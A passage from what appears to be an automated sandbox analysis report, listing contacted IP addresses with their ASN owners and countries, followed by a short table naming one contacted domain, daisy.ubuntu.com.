24139 WASUHZHuashumediaNetworkLimitedCN false
129.115.224.113
 unknown United States
27594 UTSAUS false
187.211.173.40
 unknown Mexico
8151 UninetSAdeCVMX false
23.65.91.201
 unknown United States
9924 TFN-TWTaiwanFixedNetworkTelcoandNetworkServiceProvi false
89.27.91.143
 unknown Finland
16086 DNAFI false
3.203.26.57
 unknown United States
16509 AMAZON-02US false
142.179.181.204
 unknown Canada
852 ASN852CA false
205.66.79.190
 unknown United States
647 DNIC-ASBLK-00616-00665US false

Contacted Domains

Name IP Active
daisy.ubuntu.com 162.213.35.25 true